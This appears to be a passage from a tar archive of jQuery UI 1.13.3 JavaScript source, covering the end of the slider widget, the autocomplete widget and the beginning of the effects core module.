this._hasMultipleValues()?this._values(e):this.value();for(i=this.options.values,s=e,a=0;a<i.length;a+=1)i[a]=this._trimAlignValue(s[a]),this._change(null,a);this._refreshValue()}},_setOption:function(e,t){var i,s=0;switch("range"===e&&!0===this.options.range&&("min"===t?(this.options.value=this._values(0),this.options.values=null):"max"===t&&(this.options.value=this._values(this.options.values.length-1),this.options.values=null)),Array.isArray(this.options.values)&&(s=this.options.values.length),this._super(e,t),e){case"orientation":this._detectOrientation(),this._removeClass("ui-slider-horizontal ui-slider-vertical")._addClass("ui-slider-"+this.orientation),this._refreshValue(),this.options.range&&this._refreshRange(t),this.handles.css("horizontal"===t?"bottom":"left","");break;case"value":this._animateOff=!0,this._refreshValue(),this._change(null,0),this._animateOff=!1;break;case"values":for(this._animateOff=!0,this._refreshValue(),i=s-1;0<=i;i--)this._change(null,i);this._animateOff=!1;break;case"step":case"min":case"max":this._animateOff=!0,this._calculateNewMax(),this._refreshValue(),this._animateOff=!1;break;case"range":this._animateOff=!0,this._refresh(),this._animateOff=!1}},_setOptionDisabled:function(e){this._super(e),this._toggleClass(null,"ui-state-disabled",!!e)},_value:function(){var e=this.options.value;return this._trimAlignValue(e)},_values:function(e){var t,i;if(arguments.length)return e=this.options.values[e],this._trimAlignValue(e);if(this._hasMultipleValues()){for(t=this.options.values.slice(),i=0;i<t.length;i+=1)t[i]=this._trimAlignValue(t[i]);return t}return[]},_trimAlignValue:function(e){var t,i;return e<=this._valueMin()?this._valueMin():e>=this._valueMax()?this._valueMax():(t=0<this.options.step?this.options.step:1,i=e-(e=(e-this._valueMin())%t),2*Math.abs(e)>=t&&(i+=0<e?t:-t),parseFloat(i.toFixed(5)))},_calculateNewMax:function(){var e=this.options.max,t=this._valueMin(),i=this.options.step;(e=Math.round((e-t)/i)*i+t)>this.options.max&&(e-=i),this.max=parseFloat(e.toFixed(this._precision()))},_precision:function(){var e=this._precisionOf(this.options.step);return e=null!==this.options.min?Math.max(e,this._precisionOf(this.options.min)):e},_precisionOf:function(e){var e=e.toString(),t=e.indexOf(".");return-1===t?0:e.length-t-1},_valueMin:function(){return this.options.min},_valueMax:function(){return this.max},_refreshRange:function(e){"vertical"===e&&this.range.css({width:"",left:""}),"horizontal"===e&&this.range.css({height:"",bottom:""})},_refreshValue:function(){var t,i,e,s,a,n=this.options.range,h=this.options,l=this,u=!this._animateOff&&h.animate,r={};this._hasMultipleValues()?this.handles.each(function(e){i=(l.values(e)-l._valueMin())/(l._valueMax()-l._valueMin())*100,r["horizontal"===l.orientation?"left":"bottom"]=i+"%",o(this).stop(1,1)[u?"animate":"css"](r,h.animate),!0===l.options.range&&("horizontal"===l.orientation?(0===e&&l.range.stop(1,1)[u?"animate":"css"]({left:i+"%"},h.animate),1===e&&l.range[u?"animate":"css"]({width:i-t+"%"},{queue:!1,duration:h.animate})):(0===e&&l.range.stop(1,1)[u?"animate":"css"]({bottom:i+"%"},h.animate),1===e&&l.range[u?"animate":"css"]({height:i-t+"%"},{queue:!1,duration:h.animate}))),t=i}):(e=this.value(),s=this._valueMin(),a=this._valueMax(),i=a!==s?(e-s)/(a-s)*100:0,r["horizontal"===this.orientation?"left":"bottom"]=i+"%",this.handle.stop(1,1)[u?"animate":"css"](r,h.animate),"min"===n&&"horizontal"===this.orientation&&this.range.stop(1,1)[u?"animate":"css"]({width:i+"%"},h.animate),"max"===n&&"horizontal"===this.orientation&&this.range.stop(1,1)[u?"animate":"css"]({width:100-i+"%"},h.animate),"min"===n&&"vertical"===this.orientation&&this.range.stop(1,1)[u?"animate":"css"]({height:i+"%"},h.animate),"max"===n&&"vertical"===this.orientation&&this.range.stop(1,1)[u?"animate":"css"]({height:100-i+"%"},h.animate))},_handleEvents:{keydown:function(e){var t,i,s,a=o(e.target).data("ui-slider-handle-index");switch(e.keyCode){case o.ui.keyCode.HOME:case o.ui.keyCode.END:case o.ui.keyCode.PAGE_UP:case o.ui.keyCode.PAGE_DOWN:case o.ui.keyCode.UP:case o.ui.keyCode.RIGHT:case o.ui.keyCode.DOWN:case o.ui.keyCode.LEFT:if(e.preventDefault(),this._keySliding||(this._keySliding=!0,this._addClass(o(e.target),null,"ui-state-active"),!1!==this._start(e,a)))break;return}switch(s=this.options.step,t=i=this._hasMultipleValues()?this.values(a):this.value(),e.keyCode){case o.ui.keyCode.HOME:i=this._valueMin();break;case o.ui.keyCode.END:i=this._valueMax();break;case o.ui.keyCode.PAGE_UP:i=this._trimAlignValue(t+(this._valueMax()-this._valueMin())/this.numPages);break;case o.ui.keyCode.PAGE_DOWN:i=this._trimAlignValue(t-(this._valueMax()-this._valueMin())/this.numPages);break;case o.ui.keyCode.UP:case o.ui.keyCode.RIGHT:if(t===this._valueMax())return;i=this._trimAlignValue(t+s);break;case o.ui.keyCode.DOWN:case o.ui.keyCode.LEFT:if(t===this._valueMin())return;i=this._trimAlignValue(t-s)}this._slide(e,a,i)},keyup:function(e){var t=o(e.target).data("ui-slider-handle-index");this._keySliding&&(this._keySliding=!1,this._stop(e,t),this._change(e,t),this._removeClass(o(e.target),null,"ui-state-active"))}}})}); jquery/ui/autocomplete.js 0000644 00000042172 15111757754 0011562 0 ustar 00 /*! * jQuery UI Autocomplete 1.13.3 * https://jqueryui.com * * Copyright OpenJS Foundation and other contributors * Released under the MIT license. * https://jquery.org/license */ //>>label: Autocomplete //>>group: Widgets //>>description: Lists suggested words as the user is typing. //>>docs: https://api.jqueryui.com/autocomplete/ //>>demos: https://jqueryui.com/autocomplete/ //>>css.structure: ../../themes/base/core.css //>>css.structure: ../../themes/base/autocomplete.css //>>css.theme: ../../themes/base/theme.css ( function( factory ) { "use strict"; if ( typeof define === "function" && define.amd ) { // AMD. Register as an anonymous module. define( [ "jquery", "./menu", "../keycode", "../position", "../safe-active-element", "../version", "../widget" ], factory ); } else { // Browser globals factory( jQuery ); } } )( function( $ ) { "use strict"; $.widget( "ui.autocomplete", { version: "1.13.3", defaultElement: "<input>", options: { appendTo: null, autoFocus: false, delay: 300, minLength: 1, position: { my: "left top", at: "left bottom", collision: "none" }, source: null, // Callbacks change: null, close: null, focus: null, open: null, response: null, search: null, select: null }, requestIndex: 0, pending: 0, liveRegionTimer: null, _create: function() { // Some browsers only repeat keydown events, not keypress events, // so we use the suppressKeyPress flag to determine if we've already // handled the keydown event. #7269 // Unfortunately the code for & in keypress is the same as the up arrow, // so we use the suppressKeyPressRepeat flag to avoid handling keypress // events when we know the keydown event was used to modify the // search term. #7799 var suppressKeyPress, suppressKeyPressRepeat, suppressInput, nodeName = this.element[ 0 ].nodeName.toLowerCase(), isTextarea = nodeName === "textarea", isInput = nodeName === "input"; // Textareas are always multi-line // Inputs are always single-line, even if inside a contentEditable element // IE also treats inputs as contentEditable // All other element types are determined by whether or not they're contentEditable this.isMultiLine = isTextarea || !isInput && this._isContentEditable( this.element ); this.valueMethod = this.element[ isTextarea || isInput ? "val" : "text" ]; this.isNewMenu = true; this._addClass( "ui-autocomplete-input" ); this.element.attr( "autocomplete", "off" ); this._on( this.element, { keydown: function( event ) { if ( this.element.prop( "readOnly" ) ) { suppressKeyPress = true; suppressInput = true; suppressKeyPressRepeat = true; return; } suppressKeyPress = false; suppressInput = false; suppressKeyPressRepeat = false; var keyCode = $.ui.keyCode; switch ( event.keyCode ) { case keyCode.PAGE_UP: suppressKeyPress = true; this._move( "previousPage", event ); break; case keyCode.PAGE_DOWN: suppressKeyPress = true; this._move( "nextPage", event ); break; case keyCode.UP: suppressKeyPress = true; this._keyEvent( "previous", event ); break; case keyCode.DOWN: suppressKeyPress = true; this._keyEvent( "next", event ); break; case keyCode.ENTER: // when menu is open and has focus if ( this.menu.active ) { // #6055 - Opera still allows the keypress to occur // which causes forms to submit suppressKeyPress = true; event.preventDefault(); this.menu.select( event ); } break; case keyCode.TAB: if ( this.menu.active ) { this.menu.select( event ); } break; case keyCode.ESCAPE: if ( this.menu.element.is( ":visible" ) ) { if ( !this.isMultiLine ) { this._value( this.term ); } this.close( event ); // Different browsers have different default behavior for escape // Single press can mean undo or clear // Double press in IE means clear the whole form event.preventDefault(); } break; default: suppressKeyPressRepeat = true; // search timeout should be triggered before the input value is changed this._searchTimeout( event ); break; } }, keypress: function( event ) { if ( suppressKeyPress ) { suppressKeyPress = false; if ( !this.isMultiLine || this.menu.element.is( ":visible" ) ) { event.preventDefault(); } return; } if ( suppressKeyPressRepeat ) { return; } // Replicate some key handlers to allow them to repeat in Firefox and Opera var keyCode = $.ui.keyCode; switch ( event.keyCode ) { case keyCode.PAGE_UP: this._move( "previousPage", event ); break; case keyCode.PAGE_DOWN: this._move( "nextPage", event ); break; case keyCode.UP: this._keyEvent( "previous", event ); break; case keyCode.DOWN: this._keyEvent( "next", event ); break; } }, input: function( event ) { if ( suppressInput ) { suppressInput = false; event.preventDefault(); return; } this._searchTimeout( event ); }, focus: function() { this.selectedItem = null; this.previous = this._value(); }, blur: function( event ) { clearTimeout( this.searching ); this.close( event ); this._change( event ); } } ); this._initSource(); this.menu = $( "<ul>" ) .appendTo( this._appendTo() ) .menu( { // disable ARIA support, the live region takes care of that role: null } ) .hide() // Support: IE 11 only, Edge <= 14 // For other browsers, we preventDefault() on the mousedown event // to keep the dropdown from taking focus from the input. This doesn't // work for IE/Edge, causing problems with selection and scrolling (#9638) // Happily, IE and Edge support an "unselectable" attribute that // prevents an element from receiving focus, exactly what we want here. .attr( { "unselectable": "on" } ) .menu( "instance" ); this._addClass( this.menu.element, "ui-autocomplete", "ui-front" ); this._on( this.menu.element, { mousedown: function( event ) { // Prevent moving focus out of the text field event.preventDefault(); }, menufocus: function( event, ui ) { var label, item; // support: Firefox // Prevent accidental activation of menu items in Firefox (#7024 #9118) if ( this.isNewMenu ) { this.isNewMenu = false; if ( event.originalEvent && /^mouse/.test( event.originalEvent.type ) ) { this.menu.blur(); this.document.one( "mousemove", function() { $( event.target ).trigger( event.originalEvent ); } ); return; } } item = ui.item.data( "ui-autocomplete-item" ); if ( false !== this._trigger( "focus", event, { item: item } ) ) { // use value to match what will end up in the input, if it was a key event if ( event.originalEvent && /^key/.test( event.originalEvent.type ) ) { this._value( item.value ); } } // Announce the value in the liveRegion label = ui.item.attr( "aria-label" ) || item.value; if ( label && String.prototype.trim.call( label ).length ) { clearTimeout( this.liveRegionTimer ); this.liveRegionTimer = this._delay( function() { this.liveRegion.html( $( "<div>" ).text( label ) ); }, 100 ); } }, menuselect: function( event, ui ) { var item = ui.item.data( "ui-autocomplete-item" ), previous = this.previous; // Only trigger when focus was lost (click on menu) if ( this.element[ 0 ] !== $.ui.safeActiveElement( this.document[ 0 ] ) ) { this.element.trigger( "focus" ); this.previous = previous; // #6109 - IE triggers two focus events and the second // is asynchronous, so we need to reset the previous // term synchronously and asynchronously :-( this._delay( function() { this.previous = previous; this.selectedItem = item; } ); } if ( false !== this._trigger( "select", event, { item: item } ) ) { this._value( item.value ); } // reset the term after the select event // this allows custom select handling to work properly this.term = this._value(); this.close( event ); this.selectedItem = item; } } ); this.liveRegion = $( "<div>", { role: "status", "aria-live": "assertive", "aria-relevant": "additions" } ) .appendTo( this.document[ 0 ].body ); this._addClass( this.liveRegion, null, "ui-helper-hidden-accessible" ); // Turning off autocomplete prevents the browser from remembering the // value when navigating through history, so we re-enable autocomplete // if the page is unloaded before the widget is destroyed. #7790 this._on( this.window, { beforeunload: function() { this.element.removeAttr( "autocomplete" ); } } ); }, _destroy: function() { clearTimeout( this.searching ); this.element.removeAttr( "autocomplete" ); this.menu.element.remove(); this.liveRegion.remove(); }, _setOption: function( key, value ) { this._super( key, value ); if ( key === "source" ) { this._initSource(); } if ( key === "appendTo" ) { this.menu.element.appendTo( this._appendTo() ); } if ( key === "disabled" && value && this.xhr ) { this.xhr.abort(); } }, _isEventTargetInWidget: function( event ) { var menuElement = this.menu.element[ 0 ]; return event.target === this.element[ 0 ] || event.target === menuElement || $.contains( menuElement, event.target ); }, _closeOnClickOutside: function( event ) { if ( !this._isEventTargetInWidget( event ) ) { this.close(); } }, _appendTo: function() { var element = this.options.appendTo; if ( element ) { element = element.jquery || element.nodeType ? $( element ) : this.document.find( element ).eq( 0 ); } if ( !element || !element[ 0 ] ) { element = this.element.closest( ".ui-front, dialog" ); } if ( !element.length ) { element = this.document[ 0 ].body; } return element; }, _initSource: function() { var array, url, that = this; if ( Array.isArray( this.options.source ) ) { array = this.options.source; this.source = function( request, response ) { response( $.ui.autocomplete.filter( array, request.term ) ); }; } else if ( typeof this.options.source === "string" ) { url = this.options.source; this.source = function( request, response ) { if ( that.xhr ) { that.xhr.abort(); } that.xhr = $.ajax( { url: url, data: request, dataType: "json", success: function( data ) { response( data ); }, error: function() { response( [] ); } } ); }; } else { this.source = this.options.source; } }, _searchTimeout: function( event ) { clearTimeout( this.searching ); this.searching = this._delay( function() { // Search if the value has changed, or if the user retypes the same value (see #7434) var equalValues = this.term === this._value(), menuVisible = this.menu.element.is( ":visible" ), modifierKey = event.altKey || event.ctrlKey || event.metaKey || event.shiftKey; if ( !equalValues || ( equalValues && !menuVisible && !modifierKey ) ) { this.selectedItem = null; this.search( null, event ); } }, this.options.delay ); }, search: function( value, event ) { value = value != null ? value : this._value(); // Always save the actual value, not the one passed as an argument this.term = this._value(); if ( value.length < this.options.minLength ) { return this.close( event ); } if ( this._trigger( "search", event ) === false ) { return; } return this._search( value ); }, _search: function( value ) { this.pending++; this._addClass( "ui-autocomplete-loading" ); this.cancelSearch = false; this.source( { term: value }, this._response() ); }, _response: function() { var index = ++this.requestIndex; return function( content ) { if ( index === this.requestIndex ) { this.__response( content ); } this.pending--; if ( !this.pending ) { this._removeClass( "ui-autocomplete-loading" ); } }.bind( this ); }, __response: function( content ) { if ( content ) { content = this._normalize( content ); } this._trigger( "response", null, { content: content } ); if ( !this.options.disabled && content && content.length && !this.cancelSearch ) { this._suggest( content ); this._trigger( "open" ); } else { // use ._close() instead of .close() so we don't cancel future searches this._close(); } }, close: function( event ) { this.cancelSearch = true; this._close( event ); }, _close: function( event ) { // Remove the handler that closes the menu on outside clicks this._off( this.document, "mousedown" ); if ( this.menu.element.is( ":visible" ) ) { this.menu.element.hide(); this.menu.blur(); this.isNewMenu = true; this._trigger( "close", event ); } }, _change: function( event ) { if ( this.previous !== this._value() ) { this._trigger( "change", event, { item: this.selectedItem } ); } }, _normalize: function( items ) { // assume all items have the right format when the first item is complete if ( items.length && items[ 0 ].label && items[ 0 ].value ) { return items; } return $.map( items, function( item ) { if ( typeof item === "string" ) { return { label: item, value: item }; } return $.extend( {}, item, { label: item.label || item.value, value: item.value || item.label } ); } ); }, _suggest: function( items ) { var ul = this.menu.element.empty(); this._renderMenu( ul, items ); this.isNewMenu = true; this.menu.refresh(); // Size and position menu ul.show(); this._resizeMenu(); ul.position( $.extend( { of: this.element }, this.options.position ) ); if ( this.options.autoFocus ) { this.menu.next(); } // Listen for interactions outside of the widget (#6642) this._on( this.document, { mousedown: "_closeOnClickOutside" } ); }, _resizeMenu: function() { var ul = this.menu.element; ul.outerWidth( Math.max( // Firefox wraps long text (possibly a rounding bug) // so we add 1px to avoid the wrapping (#7513) ul.width( "" ).outerWidth() + 1, this.element.outerWidth() ) ); }, _renderMenu: function( ul, items ) { var that = this; $.each( items, function( index, item ) { that._renderItemData( ul, item ); } ); }, _renderItemData: function( ul, item ) { return this._renderItem( ul, item ).data( "ui-autocomplete-item", item ); }, _renderItem: function( ul, item ) { return $( "<li>" ) .append( $( "<div>" ).text( item.label ) ) .appendTo( ul ); }, _move: function( direction, event ) { if ( !this.menu.element.is( ":visible" ) ) { this.search( null, event ); return; } if ( this.menu.isFirstItem() && /^previous/.test( direction ) || this.menu.isLastItem() && /^next/.test( direction ) ) { if ( !this.isMultiLine ) { this._value( this.term ); } this.menu.blur(); return; } this.menu[ direction ]( event ); }, widget: function() { return this.menu.element; }, _value: function() { return this.valueMethod.apply( this.element, arguments ); }, _keyEvent: function( keyEvent, event ) { if ( !this.isMultiLine || this.menu.element.is( ":visible" ) ) { this._move( keyEvent, event ); // Prevents moving cursor to beginning/end of the text field in some browsers event.preventDefault(); } }, // Support: Chrome <=50 // We should be able to just use this.element.prop( "isContentEditable" ) // but hidden elements always report false in Chrome. // https://code.google.com/p/chromium/issues/detail?id=313082 _isContentEditable: function( element ) { if ( !element.length ) { return false; } var editable = element.prop( "contentEditable" ); if ( editable === "inherit" ) { return this._isContentEditable( element.parent() ); } return editable === "true"; } } ); $.extend( $.ui.autocomplete, { escapeRegex: function( value ) { return value.replace( /[\-\[\]{}()*+?.,\\\^$|#\s]/g, "\\$&" ); }, filter: function( array, term ) { var matcher = new RegExp( $.ui.autocomplete.escapeRegex( term ), "i" ); return $.grep( array, function( value ) { return matcher.test( value.label || value.value || value ); } ); } } ); // Live region extension, adding a `messages` option // NOTE: This is an experimental API. We are still investigating // a full solution for string manipulation and internationalization. $.widget( "ui.autocomplete", $.ui.autocomplete, { options: { messages: { noResults: "No search results.", results: function( amount ) { return amount + ( amount > 1 ? " results are" : " result is" ) + " available, use up and down arrow keys to navigate."; } } }, __response: function( content ) { var message; this._superApply( arguments ); if ( this.options.disabled || this.cancelSearch ) { return; } if ( content && content.length ) { message = this.options.messages.results( content.length ); } else { message = this.options.messages.noResults; } clearTimeout( this.liveRegionTimer ); this.liveRegionTimer = this._delay( function() { this.liveRegion.html( $( "<div>" ).text( message ) ); }, 100 ); } } ); return $.ui.autocomplete; } ); jquery/ui/effect.js 0000644 00000060045 15111757754 0010314 0 ustar 00 /*! * jQuery UI Effects 1.13.3 * https://jqueryui.com * * Copyright OpenJS Foundation and other contributors * Released under the MIT license. * https://jquery.org/license */ //>>label: Effects Core //>>group: Effects /* eslint-disable max-len */ //>>description: Extends the internal jQuery effects. Includes morphing and easing. Required by all other effects. /* eslint-enable max-len */ //>>docs: https://api.jqueryui.com/category/effects-core/ //>>demos: https://jqueryui.com/effect/ ( function( factory ) { "use strict"; if ( typeof define === "function" && define.amd ) { // AMD. Register as an anonymous module. define( [ "jquery", "./jquery-var-for-color", "./vendor/jquery-color/jquery.color", "./version" ], factory ); } else { // Browser globals factory( jQuery ); } } )( function( $ ) { "use strict"; var dataSpace = "ui-effects-", dataSpaceStyle = "ui-effects-style", dataSpaceAnimated = "ui-effects-animated"; $.effects = { effect: {} }; /******************************************************************************/ /****************************** CLASS ANIMATIONS ******************************/ /******************************************************************************/ ( function() { var classAnimationActions = [ "add", "remove", "toggle" ], shorthandStyles = { border: 1, borderBottom: 1, borderColor: 1, borderLeft: 1, borderRight: 1, borderTop: 1, borderWidth: 1, margin: 1, padding: 1 }; $.each( [ "borderLeftStyle", "borderRightStyle", "borderBottomStyle", "borderTopStyle" ], function( _, prop ) { $.fx.step[ prop ] = function( fx ) { if ( fx.end !== "none" && !fx.setAttr || fx.pos === 1 && !fx.setAttr ) { jQuery.style( fx.elem, prop, fx.end ); fx.setAttr = true; } }; } ); function camelCase( string ) { return string.replace( /-([\da-z])/gi, function( all, letter ) { return letter.toUpperCase(); } ); } function getElementStyles( elem ) { var key, len, style = elem.ownerDocument.defaultView ? elem.ownerDocument.defaultView.getComputedStyle( elem, null ) : elem.currentStyle, styles = {}; if ( style && style.length && style[ 0 ] && style[ style[ 0 ] ] ) { len = style.length; while ( len-- ) { key = style[ len ]; if ( typeof style[ key ] === "string" ) { styles[ camelCase( key ) ] = style[ key ]; } } // Support: Opera, IE <9 } else { for ( key in style ) { if ( typeof style[ key ] === "string" ) { styles[ key ] = style[ key ]; } } } return styles; } function styleDifference( oldStyle, newStyle ) { var diff = {}, name, value; for ( name in newStyle ) { value = newStyle[ name ]; if ( oldStyle[ name ] !== value ) { if ( !shorthandStyles[ name ] ) { if ( $.fx.step[ name ] || !isNaN( parseFloat( value ) ) ) { diff[ name ] = value; } } } } return diff; } // Support: jQuery <1.8 if ( !$.fn.addBack ) { $.fn.addBack = function( selector ) { return this.add( selector == null ? this.prevObject : this.prevObject.filter( selector ) ); }; } $.effects.animateClass = function( value, duration, easing, callback ) { var o = $.speed( duration, easing, callback ); return this.queue( function() { var animated = $( this ), baseClass = animated.attr( "class" ) || "", applyClassChange, allAnimations = o.children ? animated.find( "*" ).addBack() : animated; // Map the animated objects to store the original styles. allAnimations = allAnimations.map( function() { var el = $( this ); return { el: el, start: getElementStyles( this ) }; } ); // Apply class change applyClassChange = function() { $.each( classAnimationActions, function( i, action ) { if ( value[ action ] ) { animated[ action + "Class" ]( value[ action ] ); } } ); }; applyClassChange(); // Map all animated objects again - calculate new styles and diff allAnimations = allAnimations.map( function() { this.end = getElementStyles( this.el[ 0 ] ); this.diff = styleDifference( this.start, this.end ); return this; } ); // Apply original class animated.attr( "class", baseClass ); // Map all animated objects again - this time collecting a promise allAnimations = allAnimations.map( function() { var styleInfo = this, dfd = $.Deferred(), opts = $.extend( {}, o, { queue: false, complete: function() { dfd.resolve( styleInfo ); } } ); this.el.animate( this.diff, opts ); return dfd.promise(); } ); // Once all animations have completed: $.when.apply( $, allAnimations.get() ).done( function() { // Set the final class applyClassChange(); // For each animated element, // clear all css properties that were animated $.each( arguments, function() { var el = this.el; $.each( this.diff, function( key ) { el.css( key, "" ); } ); } ); // This is guarnteed to be there if you use jQuery.speed() // it also handles dequeuing the next anim... o.complete.call( animated[ 0 ] ); } ); } ); }; $.fn.extend( { addClass: ( function( orig ) { return function( classNames, speed, easing, callback ) { return speed ? $.effects.animateClass.call( this, { add: classNames }, speed, easing, callback ) : orig.apply( this, arguments ); }; } )( $.fn.addClass ), removeClass: ( function( orig ) { return function( classNames, speed, easing, callback ) { return arguments.length > 1 ? $.effects.animateClass.call( this, { remove: classNames }, speed, easing, callback ) : orig.apply( this, arguments ); }; } )( $.fn.removeClass ), toggleClass: ( function( orig ) { return function( classNames, force, speed, easing, callback ) { if ( typeof force === "boolean" || force === undefined ) { if ( !speed ) { // Without speed parameter return orig.apply( this, arguments ); } else { return $.effects.animateClass.call( this, ( force ? { add: classNames } : { remove: classNames } ), speed, easing, callback ); } } else { // Without force parameter return $.effects.animateClass.call( this, { toggle: classNames }, force, speed, easing ); } }; } )( $.fn.toggleClass ), switchClass: function( remove, add, speed, easing, callback ) { return $.effects.animateClass.call( this, { add: add, remove: remove }, speed, easing, callback ); } } ); } )(); /******************************************************************************/ /*********************************** EFFECTS **********************************/ /******************************************************************************/ ( function() { if ( $.expr && $.expr.pseudos && $.expr.pseudos.animated ) { $.expr.pseudos.animated = ( function( orig ) { return function( elem ) { return !!$( elem ).data( dataSpaceAnimated ) || orig( elem ); }; } )( $.expr.pseudos.animated ); } if ( $.uiBackCompat !== false ) { $.extend( $.effects, { // Saves a set of properties in a data storage save: function( element, set ) { var i = 0, length = set.length; for ( ; i < length; i++ ) { if ( set[ i ] !== null ) { element.data( dataSpace + set[ i ], element[ 0 ].style[ set[ i ] ] ); } } }, // Restores a set of previously saved properties from a data storage restore: function( element, set ) { var val, i = 0, length = set.length; for ( ; i < length; i++ ) { if ( set[ i ] !== null ) { val = element.data( dataSpace + set[ i ] ); element.css( set[ i ], val ); } } }, setMode: function( el, mode ) { if ( mode === "toggle" ) { mode = el.is( ":hidden" ) ? "show" : "hide"; } return mode; }, // Wraps the element around a wrapper that copies position properties createWrapper: function( element ) { // If the element is already wrapped, return it if ( element.parent().is( ".ui-effects-wrapper" ) ) { return element.parent(); } // Wrap the element var props = { width: element.outerWidth( true ), height: element.outerHeight( true ), "float": element.css( "float" ) }, wrapper = $( "<div></div>" ) .addClass( "ui-effects-wrapper" ) .css( { fontSize: "100%", background: "transparent", border: "none", margin: 0, padding: 0 } ), // Store the size in case width/height are defined in % - Fixes #5245 size = { width: element.width(), height: element.height() }, active = document.activeElement; // Support: Firefox // Firefox incorrectly exposes anonymous content // https://bugzilla.mozilla.org/show_bug.cgi?id=561664 try { // eslint-disable-next-line no-unused-expressions active.id; } catch ( e ) { active = document.body; } element.wrap( wrapper ); // Fixes #7595 - Elements lose focus when wrapped. if ( element[ 0 ] === active || $.contains( element[ 0 ], active ) ) { $( active ).trigger( "focus" ); } // Hotfix for jQuery 1.4 since some change in wrap() seems to actually // lose the reference to the wrapped element wrapper = element.parent(); // Transfer positioning properties to the wrapper if ( element.css( "position" ) === "static" ) { wrapper.css( { position: "relative" } ); element.css( { position: "relative" } ); } else { $.extend( props, { position: element.css( "position" ), zIndex: element.css( "z-index" ) } ); $.each( [ "top", "left", "bottom", "right" ], function( i, pos ) { props[ pos ] = element.css( pos ); if ( isNaN( parseInt( props[ pos ], 10 ) ) ) { props[ pos ] = "auto"; } } ); element.css( { position: "relative", top: 0, left: 0, right: "auto", bottom: "auto" } ); } element.css( size ); return wrapper.css( props ).show(); }, removeWrapper: function( element ) { var active = document.activeElement; if ( element.parent().is( ".ui-effects-wrapper" ) ) { element.parent().replaceWith( element ); // Fixes #7595 - Elements lose focus when wrapped. if ( element[ 0 ] === active || $.contains( element[ 0 ], active ) ) { $( active ).trigger( "focus" ); } } return element; } } ); } $.extend( $.effects, { version: "1.13.3", define: function( name, mode, effect ) { if ( !effect ) { effect = mode; mode = "effect"; } $.effects.effect[ name ] = effect; $.effects.effect[ name ].mode = mode; return effect; }, scaledDimensions: function( element, percent, direction ) { if ( percent === 0 ) { return { height: 0, width: 0, outerHeight: 0, outerWidth: 0 }; } var x = direction !== "horizontal" ? ( ( percent || 100 ) / 100 ) : 1, y = direction !== "vertical" ? ( ( percent || 100 ) / 100 ) : 1; return { height: element.height() * y, width: element.width() * x, outerHeight: element.outerHeight() * y, outerWidth: element.outerWidth() * x }; }, clipToBox: function( animation ) { return { width: animation.clip.right - animation.clip.left, height: animation.clip.bottom - animation.clip.top, left: animation.clip.left, top: animation.clip.top }; }, // Injects recently queued functions to be first in line (after "inprogress") unshift: function( element, queueLength, count ) { var queue = element.queue(); if ( queueLength > 1 ) { queue.splice.apply( queue, [ 1, 0 ].concat( queue.splice( queueLength, count ) ) ); } element.dequeue(); }, saveStyle: function( element ) { element.data( dataSpaceStyle, element[ 0 ].style.cssText ); }, restoreStyle: function( element ) { element[ 0 ].style.cssText = element.data( dataSpaceStyle ) || ""; element.removeData( dataSpaceStyle ); }, mode: function( element, mode ) { var hidden = element.is( ":hidden" ); if ( mode === "toggle" ) { mode = hidden ? "show" : "hide"; } if ( hidden ? mode === "hide" : mode === "show" ) { mode = "none"; } return mode; }, // Translates a [top,left] array into a baseline value getBaseline: function( origin, original ) { var y, x; switch ( origin[ 0 ] ) { case "top": y = 0; break; case "middle": y = 0.5; break; case "bottom": y = 1; break; default: y = origin[ 0 ] / original.height; } switch ( origin[ 1 ] ) { case "left": x = 0; break; case "center": x = 0.5; break; case "right": x = 1; break; default: x = origin[ 1 ] / original.width; } return { x: x, y: y }; }, // Creates a placeholder element so that the original element can be made absolute createPlaceholder: function( element ) { var placeholder, cssPosition = element.css( "position" ), position = element.position(); // Lock in margins first to account for form elements, which // will change margin if you explicitly set height // see: https://jsfiddle.net/JZSMt/3/ https://bugs.webkit.org/show_bug.cgi?id=107380 // Support: Safari element.css( { marginTop: element.css( "marginTop" ), marginBottom: element.css( "marginBottom" ), marginLeft: element.css( "marginLeft" ), marginRight: element.css( "marginRight" ) } ) .outerWidth( element.outerWidth() ) .outerHeight( element.outerHeight() ); if ( /^(static|relative)/.test( cssPosition ) ) { cssPosition = "absolute"; placeholder = $( "<" + element[ 0 ].nodeName + ">" ).insertAfter( element ).css( { // Convert inline to inline block to account for inline elements // that turn to inline block based on content (like img) display: /^(inline|ruby)/.test( element.css( "display" ) ) ? "inline-block" : "block", visibility: "hidden", // Margins need to be set to account for margin collapse marginTop: element.css( "marginTop" ), marginBottom: element.css( "marginBottom" ), marginLeft: element.css( "marginLeft" ), marginRight: element.css( "marginRight" ), "float": element.css( "float" ) } ) .outerWidth( element.outerWidth() ) .outerHeight( element.outerHeight() ) .addClass( "ui-effects-placeholder" ); element.data( dataSpace + "placeholder", placeholder ); } element.css( { position: cssPosition, left: position.left, top: position.top } ); return placeholder; }, removePlaceholder: function( element ) { var dataKey = dataSpace + "placeholder", placeholder = element.data( dataKey ); if ( placeholder ) { placeholder.remove(); element.removeData( dataKey ); } }, // Removes a placeholder if it exists and restores // properties that were modified during placeholder creation cleanUp: function( element ) { $.effects.restoreStyle( element ); $.effects.removePlaceholder( element ); }, setTransition: function( element, list, factor, value ) { value = value || {}; $.each( list, function( i, x ) { var unit = element.cssUnit( x ); if ( unit[ 0 ] > 0 ) { value[ x ] = unit[ 0 ] * factor + unit[ 1 ]; } } ); return value; } } ); // Return an effect options object for the given parameters: function _normalizeArguments( effect, options, speed, callback ) { // Allow passing all options as the first parameter if ( $.isPlainObject( effect ) ) { options = effect; effect = effect.effect; } // Convert to an object effect = { effect: effect }; // Catch (effect, null, ...) if ( options == null ) { options = {}; } // Catch (effect, callback) if ( typeof options === "function" ) { callback = options; speed = null; options = {}; } // Catch (effect, speed, ?) if ( typeof options === "number" || $.fx.speeds[ options ] ) { callback = speed; speed = options; options = {}; } // Catch (effect, options, callback) if ( typeof speed === "function" ) { callback = speed; speed = null; } // Add options to effect if ( options ) { $.extend( effect, options ); } speed = speed || options.duration; effect.duration = $.fx.off ? 0 : typeof speed === "number" ? speed : speed in $.fx.speeds ? $.fx.speeds[ speed ] : $.fx.speeds._default; effect.complete = callback || options.complete; return effect; } function standardAnimationOption( option ) { // Valid standard speeds (nothing, number, named speed) if ( !option || typeof option === "number" || $.fx.speeds[ option ] ) { return true; } // Invalid strings - treat as "normal" speed if ( typeof option === "string" && !$.effects.effect[ option ] ) { return true; } // Complete callback if ( typeof option === "function" ) { return true; } // Options hash (but not naming an effect) if ( typeof option === "object" && !option.effect ) { return true; } // Didn't match any standard API return false; } $.fn.extend( { effect: function( /* effect, options, speed, callback */ ) { var args = 